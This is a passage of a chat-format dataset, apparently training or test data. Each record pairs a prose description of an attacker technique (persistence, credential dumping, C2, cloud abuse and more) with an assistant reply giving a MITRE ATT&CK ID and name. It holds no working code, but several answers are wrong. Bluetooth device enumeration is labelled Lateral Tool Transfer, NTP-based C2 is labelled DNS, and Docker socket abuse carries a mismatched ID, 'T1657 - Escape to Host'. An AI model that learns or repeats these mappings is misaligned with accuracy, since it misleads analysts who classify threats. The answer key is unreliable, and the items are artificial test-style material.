                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages trusted developer utilities like gcc or clang to compile and run malicious code on compromised machines, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden local user account that is not listed in typical account enumeration tools to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware retrieves the list of Bluetooth paired devices and logs the device names and MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the logging policy in OCI (Oracle Cloud Infrastructure) to disable audit log generation for a target compartment."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into a legitimate process using an asynchronous procedure call, allowing it to execute payloads stealthily."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use SMTP messages to encapsulate stolen data, tunneling it through email traffic to exfiltrate information stealthily."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply‑chain compromise, the threat actor implants a rootkit on the domain controller that intercepts and rewrites authentication packets."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign sends an SVG file that includes JavaScript; when the victim opens the SVG in a web browser, the script runs a command to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses low‑level API calls such as SetThreadContext to manipulate execution flow of a remote thread."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Embedding malicious VBA script inside an Outlook form that executes each time the user opens Outlook."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Windows Security Account Manager (SAM) API to read password policy configuration."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software registers an XPC service that mimics a trusted Apple service, tricking other apps into sending data for theft."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware masquerades as legitimate NTP traffic, embedding C2 data within time synchronization packets."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary hijacks a privileged Docker container via the host's Docker socket."
            },
            {
                "role": "assistant",
                "content": "T1657 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place malicious code in a DLL that is shared among multiple legitimate applications, causing the payload to execute whenever any of those applications load the module."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker secures a rented server in a bulletproof hosting service to launch phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a rootkit to intercept and suppress kernel‑level security alerts before they reach the logging service."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor manipulates the contents of a running process’s heap to corrupt data validation logic."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the attacker uses MAPI calls to purge the mailbox of any messages containing their C2 commands."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs credential dumping from a compromised host and reuses the credentials to log into Confluence and harvest data."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary infiltrates a software vendor’s build server and injects malicious code into the legitimate installer before it is signed and distributed to customers."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker combines phishing emails with a malicious software deployment script to gain elevated privileges across the network."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses nslookup and dig commands to enumerate the DNS records (A, MX, TXT) for the victim's domain to map services and email infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set moves a keylogger onto a new endpoint by copying it over a mapped network drive."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder obtains a publicly available phishing kit that includes email templates and malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Outlook forms are used to persist code execution by loading a payload each time Outlook launches."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware variant executes an endless loop of privileged system calls, exhausting the host's CPU and memory."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs DLL injection via the CreateRemoteThread API targeting notepad.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates all running processes on the compromised host using the tasklist command."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised service modifies the biometric authentication module to accept a pre-recorded fingerprint sample."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a Kubernetes CronJob to run a persistence script that downloads additional payloads from a remote server every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group conducted a network discovery operation, scanning the 172.20.0.0/14 IP block for hosts responding to TCP port 445."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit disables the 'System Restore' feature and deletes old restore points to hinder remediation."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary installs a launch daemon plist to automatically start malicious code at system boot on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor compromises a widely used open-source library, injecting malicious code that is then distributed to numerous organizations using the software."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the registry's ProxyEnable setting to redirect network traffic through a malicious proxy."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performed a binary replacement of a VPN client, inserting a hidden tunneling module."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scans public repositories for infrastructure‑as‑code templates that expose cloud credentials."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using social media monitoring to gather information about a target organization's employees and their activities."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies mailbox rules to automatically forward all new mail to an attacker‑controlled email address."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a cross‑site scripting flaw to execute code that steals the victim's web session token and sends it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a service account and utilizes the Outlook REST API to retrieve all unread messages from target users."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a known vulnerability in the Windows kernel to execute code with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator performs pass-the-hash attacks across the network using harvested NTLM hashes."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber attackers manipulated the cloud firewall's configuration API to whitelist their command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor dials a target's phone, pretends to be a senior executive, and requests the employee to transfer funds by providing account details over the call."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a vulnerable PHP file upload feature to place a malicious script that rewrote page content with defacement text."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encrypts its C2 communications with asymmetric cryptography, leveraging RSA keys for confidentiality."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies a .plist to disable Gatekeeper, allowing unsigned apps to be installed."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor buys a set of stolen credentials from a dark‑web marketplace."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authors exploit a vulnerability in a certificate issuance API to create unauthorized digital certificates."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor deploys Mimikatz's ntdsutil module to read and dump Active Directory database contents."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An external attacker leverages a SQL injection flaw to write arbitrary files to the web directory, leading to the display of defaced content on the site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leveraged a compromised service account to issue commands that permanently removed Kubernetes pods and their underlying VMs."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performed a directory search filtering for objectClass=group to enumerate domain groups and their permissions."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised service account to call the AWS Parameter Store API and retrieve encrypted passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor edits the /Library/LaunchAgents/com.example.malware.plist to set the program to run at user login, achieving persistence on macOS."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Unix shell to run `export PATH=$PATH:/malicious` and then runs a hidden binary to establish a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a crafted script that leverages \"systemctl\" to disable security services on the host."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat groups manipulate DNS and HTTP headers to make their malicious traffic appear as traffic to a trusted domain, a classic domain fronting approach."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a new access token using a stolen NTLM hash to impersonate a high‑privilege user and then runs commands under that token."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage stolen Azure service principal credentials to run Set-AzContext commands and modify resource group configurations."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script contacts a C2 server via HTTPS GET requests."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses traffic signaling via socket filters to hide data exfiltration within legitimate network flows."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware compresses its payload and then encrypts the archive with a custom key."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker inserts a custom signing certificate into the enterprise PKI, enabling signed malware to appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses msiexec.exe to launch a DLL payload via the /install switch of a crafted MSI."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a PowerShell script, the malicious actor copies the NTDS.dit and SYSTEM hive for offline password hash extraction."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates new virtual machines in the victim's AWS account to run malicious workloads."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries spin up resources in a legacy Azure region that has been decommissioned, using it as a stealthy command server."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the NTFS file system's transaction capabilities to inject malicious code into a newly spawned process without leaving traces on disk."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries encrypt victim files and demand payment to restore them."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a dumped service account password, the attacker generates counterfeit Kerberos tickets to access domain resources illicitly."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary measures the system's latency for certain privileged instructions, using anomalies to infer a virtualized or instrumented environment."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is dropped onto the victim machine and later compiled into an executable to hide its malicious behavior."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious extension modifies web page DOM elements to inject ransomware payloads when the user visits banking sites."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
